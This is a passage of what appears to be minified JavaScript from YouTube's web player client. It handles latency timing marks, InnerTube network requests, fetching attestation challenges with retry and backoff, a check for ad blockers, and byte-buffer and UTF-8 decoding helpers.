zl5=function(x){x=x||"";var T=rcq();T[x]&&delete T[x];var t=Mk(),u={timerName:x,info:{},tick:{},span:{},jspbInfo:[]};t.push(u);T[x]=u};
rcq=function(){var x=g.yJ("ytcsi.reference");if(x)return x;Mk();return g.yJ("ytcsi.reference")};
R3=function(x){return kSJ[x]||"LATENCY_ACTION_UNKNOWN"};
PM=function(x,T){Zc.call(this,1,arguments);this.iI=T};
SK=function(){this.C=0};
cM=function(){SK.instance||(SK.instance=new SK);return SK.instance};
UM=function(x,T){YK[T]=YK[T]||{count:0};var t=YK[T];t.count++;t.time=(0,g.bo)();x.C||(x.C=g.wx(0,function(){var u=(0,g.bo)(),H;for(H in YK)YK[H]&&u-YK[H].time>6E4&&delete YK[H];x&&(x.C=0)},5E3));
return t.count>5?(t.count===6&&Math.random()*1E5<1&&(t=new g.CS("CSI data exceeded logging limit with key",T.split("_")),T.indexOf("plev")>=0||g.Vh(t)),!0):!1};
FMH=function(){this.timing={};this.clearResourceTimings=function(){};
this.webkitClearResourceTimings=function(){};
this.mozClearResourceTimings=function(){};
this.msClearResourceTimings=function(){};
this.oClearResourceTimings=function(){}};
hlf=function(){var x;if(g.R6("csi_use_performance_navigation_timing")||g.R6("csi_use_performance_navigation_timing_tvhtml5")){var T,t,u,H=bc==null?void 0:(x=bc.getEntriesByType)==null?void 0:(T=x.call(bc,"navigation"))==null?void 0:(t=T[0])==null?void 0:(u=t.toJSON)==null?void 0:u.call(t);H?(H.requestStart=rO(H.requestStart),H.responseEnd=rO(H.responseEnd),H.redirectStart=rO(H.redirectStart),H.redirectEnd=rO(H.redirectEnd),H.domainLookupEnd=rO(H.domainLookupEnd),H.connectStart=rO(H.connectStart),
H.connectEnd=rO(H.connectEnd),H.responseStart=rO(H.responseStart),H.secureConnectionStart=rO(H.secureConnectionStart),H.domainLookupStart=rO(H.domainLookupStart),H.isPerformanceNavigationTiming=!0,x=H):x=bc.timing}else x=g.R6("csi_performance_timing_to_object")?JSON.parse(JSON.stringify(bc.timing)):bc.timing;return x};
rO=function(x){return Math.round(zE()+x)};
zE=function(){return(g.R6("csi_use_time_origin")||g.R6("csi_use_time_origin_tvhtml5"))&&bc.timeOrigin?Math.floor(bc.timeOrigin):bc.timing.navigationStart};
FR=function(x,T){kK("_start",x,T)};
hA=function(x,T){if(!g.R6("web_csi_action_sampling_enabled")||!o3(T).actionDisabled){var t=AA(T||"");ZL(t.info,x);x.loadType&&(t=x.loadType,eK(T).loadType=t);ZL(bf3(T),x);t=dO(T);T=o3(T).cttAuthInfo;cM().info(x,t,T)}};
vef=function(){var x,T,t,u;return((u=VG().resolve(new zh(He))==null?void 0:(x=ie())==null?void 0:(T=x.loggingHotConfig)==null?void 0:(t=T.csiConfig)==null?void 0:t.debugTicks)!=null?u:[]).map(function(H){return Object.values(H)[0]})};
kK=function(x,T,t){if(!g.R6("web_csi_action_sampling_enabled")||!o3(t).actionDisabled){var u=dO(t),H;if(H=g.R6("web_csi_debug_sample_enabled")&&u){(VG().resolve(new zh(He))==null?0:ie())&&!Vr3&&(Vr3=!0,kK("gcfl",(0,g.bo)(),t));var I,E,Z;H=(VG().resolve(new zh(He))==null?void 0:(I=ie())==null?void 0:(E=I.loggingHotConfig)==null?void 0:(Z=E.csiConfig)==null?void 0:Z.debugSampleWeight)||0;if(I=H!==0)b:{I=vef();if(I.length>0)for(E=0;E<I.length;E++)if(x===I[E]){I=!0;break b}I=!1}I?(H=tDv(u)%H!==0,o3(t).debugTicksExcludedLogged||
(I={},I.debugTicksExcluded=H,hA(I,t)),o3(t).debugTicksExcludedLogged=!0):H=!1}if(!H){if(x[0]!=="_"&&(H=x,I=T,bc.mark))if(H.startsWith("mark_")||(H="mark_"+H),t&&(H+=" ("+t+")"),I===void 0||g.R6("web_csi_disable_alt_time_performance_mark"))bc.mark(H);else{I=g.R6("csi_use_performance_navigation_timing")||g.R6("csi_use_performance_navigation_timing_tvhtml5")?I-bc.timeOrigin:I-(bc.timeOrigin||bc.timing.navigationStart);try{bc.mark(H,{startTime:I})}catch(e){}}H=AA(t||"");H.tick[x]=T||(0,g.bo)();if(H.callback&&
H.callback[x])for(H=g.S(H.callback[x]),I=H.next();!I.done;I=H.next())I=I.value,I();H=mw(t);H.gelTicks&&(H.gelTicks[x]=!0);I=lc(t);H=T||(0,g.bo)();g.R6("log_repeated_ytcsi_ticks")?x in I||(I[x]=H):I[x]=H;I=o3(t).cttAuthInfo;x==="_start"?(x=cM(),UM(x,"baseline_"+u)||g.io("latencyActionBaselined",{clientActionNonce:u},{timestamp:T,cttAuthInfo:I})):cM().tick(x,u,T,I);GSH(t);return H}}};
LMH=function(){var x,T=(x=bc.getEntriesByType)==null?void 0:x.call(bc,"mark");T&&T.forEach(function(t){if(t.name.startsWith("mark_")){var u;(u=bc.clearMarks)==null||u.call(bc,t.name)}})};
ne3=function(){switch(aum()){case "hidden":return 0;case "visible":return 1;case "prerender":return 2;case "unloaded":return 3;default:return-1}};
acV=function(x){function T(I,E,Z){E=E.match("_rid")?E.split("_rid")[0]:E;typeof Z==="number"&&(Z=JSON.stringify(Z));I.requestIds?I.requestIds.push({endpoint:E,id:Z}):I.requestIds=[{endpoint:E,id:Z}]}
var t={};x=g.S(Object.entries(x));for(var u=x.next();!u.done;u=x.next()){var H=g.S(u.value);u=H.next().value;H=H.next().value;switch(u){case "GetBrowse_rid":T(t,u,H);break;case "GetGuide_rid":T(t,u,H);break;case "GetHome_rid":T(t,u,H);break;case "GetPlayer_rid":T(t,u,H);break;case "GetSearch_rid":T(t,u,H);break;case "GetSettings_rid":T(t,u,H);break;case "GetTrending_rid":T(t,u,H);break;case "GetWatchNext_rid":T(t,u,H);break;case "yt_red":t.isRedSubscriber=!!H;break;case "yt_ad":t.isMonetized=!!H}}return t};
geD=function(x,T){x=document.querySelector(x);if(!x)return!1;var t="",u=x.nodeName;u==="SCRIPT"?(t=x.src,t||(t=x.getAttribute("data-timing-href"))&&(t=window.location.protocol+t)):u==="LINK"&&(t=x.href);gE(document)&&x.setAttribute("nonce",gE(document));return t?(x=bc.getEntriesByName(t))&&x[0]&&(x=x[0],t=zE(),kK("rsf_"+T,t+Math.round(x.fetchStart)),kK("rse_"+T,t+Math.round(x.responseEnd)),x.transferSize!==void 0&&x.transferSize===0)?!0:!1:!1};
B$3=function(){var x=window.location.protocol,T=bc.getEntriesByType("resource");T=g.ES(T,function(t){return t.name.indexOf(x+"//fonts.gstatic.com/s/")===0});
(T=ka(T,function(t,u){return u.duration>t.duration?u:t},{duration:0}))&&T.startTime>0&&T.responseEnd>0&&(kK("wffs",rO(T.startTime)),kK("wffe",rO(T.responseEnd)))};
WMX=function(x,T,t){bc&&bc.measure&&(x.startsWith("measure_")||(x="measure_"+x),t?bc.measure(x,T,t):T?bc.measure(x,T):bc.measure(x))};
DRX=function(x){var T=vM("aft",x);if(T)return T;T=g.pr((x||"")+"TIMING_AFT_KEYS",["ol"]);for(var t=T.length,u=0;u<t;u++){var H=vM(T[u],x);if(H)return H}return NaN};
VK=function(x,T){g.DC("ytglobal.timing"+(T||"")+"ready_",x)};
vM=function(x,T){if(x=lc(T)[x])return typeof x==="number"?x:x[x.length-1]};
GSH=function(x){var T=vM("_start",x),t=DRX(x),u=g.R6("enable_cow_info_csi")||!ycq;T&&t&&u&&(le(N$H,new PM(Math.round(t-T),x)),ycq=!0)};
Jci=function(){if(bc.getEntriesByType){var x=bc.getEntriesByType("paint");if(x=g.Oh(x,function(t){return t.name==="first-paint"}))return rO(x.startTime)}var T;
g.R6("csi_use_performance_navigation_timing")||g.R6("csi_use_performance_navigation_timing_tvhtml5")?T=bc.getEntriesByType("first-paint")[0].startTime:T=bc.timing.NGm;return T?Math.max(0,T):0};
GE=function(x){Y5X(x);Cem();LMH();x||(g.pr("TIMING_ACTION")&&Q0("PREVIOUS_ACTION",g.pr("TIMING_ACTION")),Q0("TIMING_ACTION",""))};
Qs3=function(){var x=["pbs","pbu"];g.Kr(function(){AA("").info.actionType="watch";x&&Q0("TIMING_AFT_KEYS",x);Q0("TIMING_ACTION","watch");var T=acV(g.pr("TIMING_INFO",{}));Object.keys(T).length>0&&hA(T);T={isNavigation:!0,actionType:R3(g.pr("TIMING_ACTION"))};var t=g.pr("PREVIOUS_ACTION");t&&(T.previousAction=R3(t));if(t=g.pr("CLIENT_PROTOCOL"))T.httpProtocol=t;if(t=g.pr("CLIENT_TRANSPORT"))T.transportProtocol=t;(t=g.Yx())&&t!=="UNDEFINED_CSN"&&(T.clientScreenNonce=t);t=ne3();if(t===1||t===-1)T.isVisible=
!0;t=eK().loadType==="cold";var u=URX();t||(t=u.yt_lt==="cold");if(t){T.loadType="cold";t=URX();u=hlf();var H=zE(),I=g.pr("CSI_START_TIMESTAMP_MILLIS",0);I>0&&!g.R6("embeds_web_enable_csi_start_override_killswitch")&&(H=I);H&&(kK("srt",u.responseStart),t.prerender!==1&&FR(H));t=Jci();t>0&&kK("fpt",t);t=hlf();t.isPerformanceNavigationTiming&&hA({performanceNavigationTiming:!0},void 0);kK("nreqs",t.requestStart,void 0);kK("nress",t.responseStart,void 0);kK("nrese",t.responseEnd,void 0);t.redirectEnd-
t.redirectStart>0&&(kK("nrs",t.redirectStart,void 0),kK("nre",t.redirectEnd,void 0));t.domainLookupEnd-t.domainLookupStart>0&&(kK("ndnss",t.domainLookupStart,void 0),kK("ndnse",t.domainLookupEnd,void 0));t.connectEnd-t.connectStart>0&&(kK("ntcps",t.connectStart,void 0),kK("ntcpe",t.connectEnd,void 0));t.secureConnectionStart>=zE()&&t.connectEnd-t.secureConnectionStart>0&&(kK("nstcps",t.secureConnectionStart,void 0),kK("ntcpe",t.connectEnd,void 0));bc&&"getEntriesByType"in bc&&B$3();t=[];if(document.querySelector&&
bc&&bc.getEntriesByName)for(var E in Ll)Ll.hasOwnProperty(E)&&(u=Ll[E],geD(E,u)&&t.push(u));if(t.length>0)for(T.resourceInfo=[],E=g.S(t),t=E.next();!t.done;t=E.next())T.resourceInfo.push({resourceCache:t.value})}hA(T);T=mw();T.preLoggedGelInfos||(T.preLoggedGelInfos=[]);E=T.preLoggedGelInfos;T=bf3();t=void 0;for(u=0;u<E.length;u++)if(H=E[u],H.loadType){t=H.loadType;break}if(eK().loadType==="cold"&&(T.loadType==="cold"||t==="cold")){t=lc();u=mw();u=u.gelTicks?u.gelTicks:u.gelTicks={};for(var Z in t)if(!(Z in
u))if(typeof t[Z]==="number")kK(Z,vM(Z));else if(g.R6("log_repeated_ytcsi_ticks"))for(H=g.S(t[Z]),I=H.next();!I.done;I=H.next())kK(Z.slice(1),I.value);Z={};t=!1;E=g.S(E);for(u=E.next();!u.done;u=E.next())t=u.value,ZL(T,t),ZL(Z,t),t=!0;t&&hA(Z)}VK(!0);Z=g.pr("TIMING_ACTION");g.yJ("ytglobal.timingready_")&&Z&&nl()&&DRX()&&GSH()})()};
pem=function(){var x=x===void 0?{}:x;g.Kr(function(){nl()&&a3("aa",void 0,void 0);zl5();GE();VK(!1);x.cttAuthInfo&&(o3().cttAuthInfo=x.cttAuthInfo);Q0("TIMING_AFT_KEYS",[]);x.ONY?g.gO({loadType:"hot"}):g.gO({loadType:"warm"});Q0("TIMING_ACTION","");delete g.pr("TIMING_INFO",{}).yt_lt;g.Kr(FR)(x.startTime,void 0)})()};
BM=function(x,T){T=T===void 0?{}:T;g.Kr(function(){Of4(x);var t=T.sampleRate;if(!g.R6("web_csi_action_sampling_enabled")||t===void 0||t<=1)t=!1;else{var u=dO(x);t=tDv(u)%t!==0}t&&(o3(x).actionDisabled=!0);AA(x||"").info.actionType=x;T.cttAuthInfo&&(o3(x).cttAuthInfo=T.cttAuthInfo);Q0(x+"TIMING_ACTION",x);g.Kr(FR)(T.startTime,x);t={actionType:R3(x)};T.nZW&&(t.previousAction=R3(g.pr("TIMING_ACTION")));(u=g.Yx())&&u!=="UNDEFINED_CSN"&&(t.clientScreenNonce=u);g.gO(t,x);VK(!0,x)})()};
Of4=function(x){g.Kr(function(){nl(x)&&a3("aa",void 0,x);zl5(x);GE(x)})()};
nl=function(x){return g.Kr(function(){return WM("_start",x)})()};
g.gO=function(x,T,t){g.Kr(hA)(x,T,t===void 0?!1:t)};
a3=function(x,T,t){return g.Kr(kK)(x,T,t)};
fc4=function(x){g.Kr(WMX)("action_finished",x,void 0)};
WM=function(x,T){return g.Kr(function(){var t=lc(T);return x in t})()};
KMH=function(x){if(!g.R6("universal_csi_network_ticks"))return"";x=Vt(g.Lq(5,x))||"";for(var T=Object.keys(wem),t=0;t<T.length;t++){var u=T[t];if(x.includes(u))return u}return""};
xDX=function(x){if(!g.R6("universal_csi_network_ticks"))return function(){};
var T=wem[x];return T?(D1(T),function(){var t=g.R6("universal_csi_network_ticks")?(t=XeJ[x])?D1(t):!1:!1;return t}):function(){}};
D1=function(x,T){return g.Kr(function(){if(WM(x,T))return!1;a3(x,void 0,T);return!0})()};
yK=function(x,T,t){g.Kr(function(){if(!nl(t)||WM(x,t))return!1;a3(x,T,t);return!0})()};
TQv=function(){g.Kr(function(){var x=dO();requestAnimationFrame(function(){setTimeout(function(){x===dO()&&a3("ftl",void 0,void 0)},0)})})()};
g.Nk=function(x,T){var t=g.FD.apply(2,arguments);x=x===void 0?0:x;g.CS.call(this,T,t);this.errorType=x;Object.setPrototypeOf(this,this.constructor.prototype)};
JA=function(x,T,t,u){this.ML=x;this.rd=T;this.C=t;this.K=u;this.j=void 0;this.Z=new Map;x.Ez||(x.Ez={});x.Ez=Object.assign({},ob3,x.Ez)};
tq4=function(x,T,t,u){if(JA.instance!==void 0){if(u=JA.instance,x=[x!==u.ML,T!==u.rd,t!==u.C,!1,!1,!1,void 0!==u.j],x.some(function(H){return H}))throw new g.CS("InnerTubeTransportService is already initialized",x);
}else JA.instance=new JA(x,T,t,u)};
Cl=function(x,T,t){var u=u===void 0?qR:u;var H=sRm(x,T);return H?new g.lf(function(I,E){var Z,e,l,m,d;return g.G(function(M){switch(M.C){case 1:return g.v(M,H,2);case 2:Z=M.Z;e=Z.T(T,t,u);if(!e){E(new g.CS("Error: Failed to build request for command.",T));M.lG(0);break}Bu(e.input);m=((l=e.oM)==null?void 0:l.mode)==="cors"?"cors":void 0;if(x.C.GD){d=uXi(x,e.config,m);M.lG(4);break}return g.v(M,$DC(x,e.config,m),5);case 5:d=M.Z;case 4:I(HZD(x,e,d)),g.RV(M)}})}):MY(new g.CS("Error: No request builder found for command.",
T))};
g.QK=function(x,T,t,u,H){function I(){}
H=H===void 0?{Mo:{identity:qR}}:H;var E=E===void 0?!0:E;I=xDX(KMH(t));T.context||(T.context=g.O3(u,E));return new g.lf(function(Z){var e,l,m,d,M;return g.G(function(A){if(A.C==1)return e=g2(t),l=Hi(e)?"same-origin":"cors",x.C.GD?(m=uXi(x,H,l),A.lG(2)):g.v(A,$DC(x,H,l),3);A.C!=2&&(m=A.Z);d=MEH(g2(t));M={input:d,oM:Bi(d),ws:T,config:H};Z(HZD(x,M,m,I));g.RV(A)})})};
ILf=function(x,T,t){var u;if(T&&!(T==null?0:(u=T.sequenceMetaData)==null?0:u.skipProcessing)&&x.K){u=g.S(iZ3);for(var H=u.next();!H.done;H=u.next())H=H.value,x.K[H]&&x.K[H].handleResponse(T,t)}};
HZD=function(x,T,t,u){u=u===void 0?function(){}:u;
var H,I,E,Z,e,l,m,d,M,A,R,Y,b,z,F,V,B,D,f,O,sH,HX,xq,J,X,c,C,WX,PE,j0;return g.G(function(r5){switch(r5.C){case 1:r5.lG(2);break;case 3:if((H=r5.Z)&&!H.isExpired())return r5.return(Promise.resolve(H.C()));case 2:if(!((I=T)==null?0:(E=I.ws)==null?0:E.context)){r5.lG(4);break}Z=T.ws.context;r5.lG(5);break;case 5:e=g.S([]),l=e.next();case 8:if(l.done){r5.lG(4);break}m=l.value;return g.v(r5,m.iNG(Z),9);case 9:l=e.next();r5.lG(8);break;case 4:if((d=x.j)==null||!d.Qc9(T.input,T.ws)){r5.lG(12);break}return g.v(r5,
x.j.Rou(T.input,T.ws),13);case 13:return M=r5.Z,ILf(x,M,T),r5.return(M);case 12:return(Y=(R=T.config)==null?void 0:R.St)&&x.Z.has(Y)?A=x.Z.get(Y):(b=JSON.stringify(T.ws),V=(F=(z=T.oM)==null?void 0:z.headers)!=null?F:{},T.oM=Object.assign({},T.oM,{headers:Object.assign({},V,t)}),B=Object.assign({},T.oM),T.oM.method==="POST"&&(B=Object.assign({},B,{body:b})),((D=T.config)==null?0:D.loU)&&a3(T.config.loU),f=function(){return x.rd.fetch(T.input,B,T.config)},A=f(),Y&&x.Z.set(Y,A)),g.v(r5,A,14);
case 14:if((O=r5.Z)&&"error"in O&&((sH=O)==null?0:(HX=sH.error)==null?0:HX.details))for(xq=O.error.details,J=g.S(xq),X=J.next();!X.done;X=J.next())c=X.value,(C=c["@type"])&&Ebq.indexOf(C)>-1&&(delete c["@type"],O=c);Y&&x.Z.has(Y)&&x.Z.delete(Y);((WX=T.config)==null?0:WX.QHW)&&a3(T.config.QHW);if(O||(PE=x.j)==null||!PE.Ibf(T.input,T.ws)){r5.lG(15);break}return g.v(r5,x.j.MmU(T.input,T.ws),16);case 16:O=r5.Z;case 15:return ILf(x,O,T),((j0=T.config)==null?0:j0.XSW)&&a3(T.config.XSW),u(),r5.return(O||
void 0)}})};
sRm=function(x,T){a:{x=x.ML;var t,u=(t=g.N(T,dRJ))==null?void 0:t.signal;if(u&&x.Ez&&(t=x.Ez[u])){var H=t();break a}var I;if((t=(I=g.N(T,Mrf))==null?void 0:I.request)&&x.Ch&&(I=x.Ch[t])){H=I();break a}for(H in T)if(x.ez[H]&&(T=x.ez[H])){H=T();break a}H=void 0}if(H!==void 0)return Promise.resolve(H)};
$DC=function(x,T,t){var u,H,I,E,Z,e,l;return g.G(function(m){if(m.C==1){I=((u=T)==null?void 0:(H=u.Mo)==null?void 0:H.identity)||qR;e=(E=T)==null?void 0:(Z=E.Mo)==null?void 0:Z.sessionIndex;var d=g.dd(x.C.Fx(I,{sessionIndex:e}));return g.v(m,d,2)}l=m.Z;return m.return(Promise.resolve(Object.assign({},Rlf(t),l)))})};
uXi=function(x,T,t){var u,H=(T==null?void 0:(u=T.Mo)==null?void 0:u.identity)||qR,I;T=T==null?void 0:(I=T.Mo)==null?void 0:I.sessionIndex;x=x.C.Fx(H,{sessionIndex:T});return Object.assign({},Rlf(t),x)};
pl=function(){};
OM=function(){};
fl=function(x){this.D=x};
wO=function(){};
Kl=function(){};
xg=function(){};
T7=function(){};
of=function(x,T,t){this.C=x;this.Z=T;this.j=t};
qsm=function(x,T,t){if(x.C){var u=Vt(g.Lq(5,Qt(T,"key")))||"/UNKNOWN_PATH";x.C.start(u)}x=t;g.R6("wug_networking_gzip_request")&&(x=NFm(t));return new window.Request(T,x)};
g.s6=function(x,T){if(!tR){var t=VG();kb(t,{A4:ZZ5,nL:of});var u={ez:{feedbackEndpoint:wJ(wO),modifyChannelNotificationPreferenceEndpoint:wJ(Kl),playlistEditEndpoint:wJ(xg),shareEntityEndpoint:wJ(fl),subscribeEndpoint:wJ(pl),unsubscribeEndpoint:wJ(OM),webPlayerShareEntityServiceEndpoint:wJ(T7)}},H=p2.getInstance(),I={};H&&(I.client_location=H);x===void 0&&(x=Kfv());T===void 0&&(T=t.resolve(ZZ5));tq4(u,T,x,I);kb(t,{A4:jRX,RV:JA.instance});tR=t.resolve(jRX)}return tR};
e4H=function(x){var T=new e9;if(x.interpreterJavascript){var t=vJV(x.interpreterJavascript);t=Wx(t).toString();var u=new ZM;d9(u,6,t);iX(T,ZM,1,u)}else x.interpreterUrl&&(t=SJ(x.interpreterUrl),t=bW(t).toString(),u=new j9,d9(u,4,t),iX(T,j9,2,u));x.interpreterHash&&MQ(T,3,x.interpreterHash);x.program&&MQ(T,4,x.program);x.globalName&&MQ(T,5,x.globalName);x.clientExperimentsStateBlob&&MQ(T,7,x.clientExperimentsStateBlob);return T};
uD=function(x){var T={};x=x.split("&");x=g.S(x);for(var t=x.next();!t.done;t=x.next())t=t.value.split("="),t.length===2&&(T[t[0]]=t[1]);return T};
XDf=function(){if(g.R6("bg_st_hr"))return"havuokmhhs-0";var x,T=((x=performance)==null?void 0:x.timeOrigin)||0;return"havuokmhhs-"+Math.floor(T)};
$g=function(x){this.C=x};
lLD=function(){return new Promise(function(x){var T=window.top;T.ntpevasrs!==void 0?x(new $g(T.ntpevasrs)):(T.ntpqfbel===void 0&&(T.ntpqfbel=[]),T.ntpqfbel.push(function(t){x(new $g(t))}))})};
dDi=function(){if(!g.R6("disable_biscotti_fetch_for_ad_blocker_detection")&&!g.R6("disable_biscotti_fetch_entirely_for_all_web_clients")&&Tx()){var x=g.pr("PLAYER_VARS",{});if(g.kO(x,"privembed",!1)!="1"&&!YXv(x)){var T=function(){H5=!0;"google_ad_status"in window?Q0("DCLKSTAT",1):Q0("DCLKSTAT",2)};
try{g.iH("//static.doubleclick.net/instream/ad_status.js",T)}catch(t){}mDD.push(g.Du.v_(function(){if(!(H5||"google_ad_status"in window)){try{if(T){var t=""+g.f4(T),u=Yr5[t];u&&g.$b(u)}}catch(H){}H5=!0;Q0("DCLKSTAT",3)}},5E3))}}};
iD=function(){var x=Number(g.pr("DCLKSTAT",0));return isNaN(x)?0:x};
Z7=function(x,T,t){var u=this;this.network=x;this.options=T;this.Z=t;this.C=null;if(T.A6U){var H=new g.mn;this.C=H.promise;g.BX.ytAtRC&&fS(function(){var I,E;return g.G(function(Z){if(Z.C==1){if(!g.BX.ytAtRC)return Z.return();I=If(null);return g.v(Z,E6(u,I),2)}E=Z.Z;g.BX.ytAtRC&&g.BX.ytAtRC(JSON.stringify(E));g.RV(Z)})},2);
lLD().then(function(I){var E,Z,e,l;return g.G(function(m){if(m.C==1)return I.bindInnertubeChallengeFetcher(function(d){return E6(u,If(d))}),g.v(m,kw(),2);
E=m.Z;Z=I.getLatestChallengeResponse();e=Z.challenge;if(!e)throw Error("BGE_MACIL");l={challenge:e,yh:uD(e),KF:E,bgChallenge:new e9};H.resolve(l);I.registerChallengeFetchedCallback(function(d){d=d.challenge;if(!d)throw Error("BGE_MACR");d={challenge:d,yh:uD(d),KF:E,bgChallenge:new e9};u.C=Promise.resolve(d)});
g.RV(m)})})}else T.preload&&Mqv(this,new Promise(function(I){g.wx(0,function(){I(qi(u))},0)}))};
If=function(x){var T={engagementType:"ENGAGEMENT_TYPE_UNBOUND"};x&&(T.interpreterHash=x);return T};
qi=function(x,T){T=T===void 0?0:T;var t,u,H,I,E,Z,e,l,m,d,M,A;return g.G(function(R){switch(R.C){case 1:t=If(A5().C);if(g.R6("att_fet_ks"))return g.PX(R,7),g.v(R,E6(x,t),9);g.PX(R,4);return g.v(R,A1C(x,t),6);case 6:E=R.Z;H=E.h4U;I=E.rRQ;u=E;g.cX(R,3);break;case 4:return g.Yq(R),g.Vh(Error("Failed to fetch attestation challenge after "+(T+" attempts; not retrying for 24h."))),jS(x,864E5),R.return({challenge:"",yh:{},KF:void 0,bgChallenge:void 0});case 9:u=R.Z;if(!u)throw Error("Fetching Attestation challenge returned falsy");
if(!u.challenge)throw Error("Missing Attestation challenge");H=u.challenge;I=uD(H);if("c1a"in I&&(!u.bgChallenge||!u.bgChallenge.program))throw Error("Expected bg challenge but missing.");g.cX(R,3);break;case 7:Z=g.Yq(R);g.Vh(Z);T++;if(T>=5)return g.Vh(Error("Failed to fetch attestation challenge after "+(T+" attempts; not retrying for 24h."))),jS(x,864E5),R.return({challenge:"",yh:{},KF:void 0,bgChallenge:void 0});e=1E3*Math.pow(2,T-1)+Math.random()*1E3;return R.return(new Promise(function(Y){g.wx(0,
function(){Y(qi(x,T))},e)}));
case 3:l=Number(I.t)||7200;jS(x,l*1E3);m=void 0;if(!("c1a"in I&&u.bgChallenge)){R.lG(10);break}d=e4H(u.bgChallenge);g.PX(R,11);return g.v(R,RA(A5(),d),13);case 13:g.cX(R,12);break;case 11:return M=g.Yq(R),g.Vh(M),R.return({challenge:H,yh:I,KF:m,bgChallenge:d});case 12:return g.PX(R,14),m=new da({challenge:d,VO:{Nm:"aGIf"}}),g.v(R,m.G8,16);case 16:g.cX(R,10);break;case 14:A=g.Yq(R),g.Vh(A),m=void 0;case 10:return R.return({challenge:H,yh:I,KF:m,bgChallenge:d})}})};
E6=function(x,T){var t;return g.G(function(u){t=x.Z;if(!t||t.TV())return u.return(E6(x.network,T));yK("att_pna",void 0,"attestation_challenge_fetch");return u.return(new Promise(function(H){t.mx("publicytnetworkstatus-online",function(){E6(x.network,T).then(H)})}))})};
R4f=function(x){if(!x)throw Error("Fetching Attestation challenge returned falsy");if(!x.challenge)throw Error("Missing Attestation challenge");var T=x.challenge,t=uD(T);if("c1a"in t&&(!x.bgChallenge||!x.bgChallenge.program))throw Error("Expected bg challenge but missing.");return Object.assign({},x,{h4U:T,rRQ:t})};
A1C=function(x,T){var t,u,H,I,E;return g.G(function(Z){switch(Z.C){case 1:t=void 0,u=0,H={};case 2:if(!(u<5)){Z.lG(4);break}if(!(u>0)){Z.lG(5);break}H.Lw=1E3*Math.pow(2,u-1)+Math.random()*1E3;return g.v(Z,new Promise(function(e){return function(l){g.wx(0,function(){l(void 0)},e.Lw)}}(H)),5);
case 5:return g.PX(Z,7),g.v(Z,E6(x,T),9);case 9:return I=Z.Z,Z.return(R4f(I));case 7:t=E=g.Yq(Z),E instanceof Error&&g.Vh(E);case 8:u++;H={Lw:void 0};Z.lG(2);break;case 4:throw t;}})};
Mqv=function(x,T){x.C=T};
PHJ=function(x){var T,t,u;return g.G(function(H){if(H.C==1)return g.v(H,Promise.race([x.C,null]),2);T=H.Z;var I=qi(x);x.C=I;(t=T)==null||(u=t.KF)==null||u.dispose();g.RV(H)})};
jS=function(x,T){function t(){var H;return g.G(function(I){H=u-Date.now();return H<1E3?g.v(I,PHJ(x),0):(fS(t,0,Math.min(H,6E4)),I.lG(0))})}
var u=Date.now()+T;t()};
SsX=function(x,T){return new Promise(function(t){g.wx(0,function(){t(T())},x)})};
g.c1V=function(x,T){var t;return g.G(function(u){var H=g.yJ("yt.aba.att");return(t=H?H:Z7.instance!==void 0?Z7.instance.j.bind(Z7.instance):null)?u.return(t("ENGAGEMENT_TYPE_PLAYBACK",x,T)):u.return(Promise.resolve({error:"ATTESTATION_ERROR_API_NOT_READY"}))})};
g.Ysv=function(){var x;return(x=(x=g.yJ("yt.aba.att2"))?x:Z7.instance!==void 0?Z7.instance.K.bind(Z7.instance):null)?x():Promise.resolve(!1)};
bZH=function(x,T){var t=g.yJ("ytDebugData.callbacks");t||(t={},g.DC("ytDebugData.callbacks",t));if(g.R6("web_dd_iu")||UDq.includes(x))t[x]=T};
eS=function(){var x=r15;var T=T===void 0?[]:T;var t=t===void 0?[]:t;T=b54.apply(null,[rp4.apply(null,g.U(T))].concat(g.U(t)));this.store=ksf(x,void 0,T)};
g.lD=function(x,T,t){for(var u=Object.assign({},x),H=g.S(Object.keys(T)),I=H.next();!I.done;I=H.next()){I=I.value;var E=x[I],Z=T[I];if(Z===void 0)delete u[I];else if(E===void 0)u[I]=Z;else if(Array.isArray(Z)&&Array.isArray(E))u[I]=t?[].concat(g.U(E),g.U(Z)):Z;else if(!Array.isArray(Z)&&g.p4(Z)&&!Array.isArray(E)&&g.p4(E))u[I]=g.lD(E,Z,t);else if(typeof Z===typeof E)u[I]=Z;else return T=new g.CS("Attempted to merge fields of differing types.",{name:"DeepMergeError",key:I,tm7:E,updateValue:Z}),g.vW(T),
x}return u};
mi=function(x){var T=this;x=x===void 0?[]:x;this.xg=[];this.zt=this.Dw=0;this.M5=void 0;this.totalLength=0;x.forEach(function(t){T.append(t)})};
z4H=function(x,T){return x.xg.length===0?!1:(x=x.xg[x.xg.length-1])&&x.buffer===T.buffer&&x.byteOffset+x.length===T.byteOffset};
dK=function(x,T){T=g.S(T.xg);for(var t=T.next();!t.done;t=T.next())x.append(t.value)};
Mi=function(x,T,t){return x.split(T).kG.split(t).gQ};
AR=function(x){x.M5=void 0;x.Dw=0;x.zt=0};
Rf=function(x,T,t){x.isFocused(T);return T-x.zt+t<=x.xg[x.Dw].length};
kh3=function(x){if(!x.M5){var T=x.xg[x.Dw];x.M5=new DataView(T.buffer,T.byteOffset,T.length)}return x.M5};
P5=function(x,T,t){x=x.QX(T===void 0?0:T,t===void 0?-1:t);T=new Uint8Array(x.length);try{T.set(x)}catch(u){for(t=0;t<x.length;t++)T[t]=x[t]}return T};
Frv=function(x,T){x.focus(T);return Rf(x,T,4)?kh3(x).getUint32(T-x.zt):256*(256*(256*x.getUint8(T)+x.getUint8(T+1))+x.getUint8(T+2))+x.getUint8(T+3)};
h4J=function(x){for(var T=new Uint8Array(x.length),t=0;t<x.length;t++)T[t]=x.charCodeAt(t);return T};
c5=function(x){return x.length?SS?SS.decode(x):String.fromCharCode.apply(null,x):""};
g.U6=function(x){if(!x.length)return"";try{if(SS)return SS.decode(x);if("FetchInternal"in window)return FetchInternal.decodeFromUTF8(x)}catch(E){}for(var T=0,t=[],u=x.length;T<u;){for(var H=0;H<1024&&T<u;){var I=x[T++];if(I<128)Yg[H++]=I;else{if(I<224)I=(I&31)<<6|x[T++]&63;else if(I<240)I=(I&15)<<12|(x[T++]&63)<<6|x[T++]&63;else{if(H+1===1024){--T;break}I=(I&7)<<18|(x[T++]&63)<<12|(x[T++]&63)<<6|x[T++]&63;I-=65536;Yg[H++]=55296|I>>10;I=56320|I&1023}Yg[H++]=I}}I=String.fromCharCode.apply(String,Yg);
H<1024&&(I=I.substring(0,H));t.push(I)}return t.join("")};
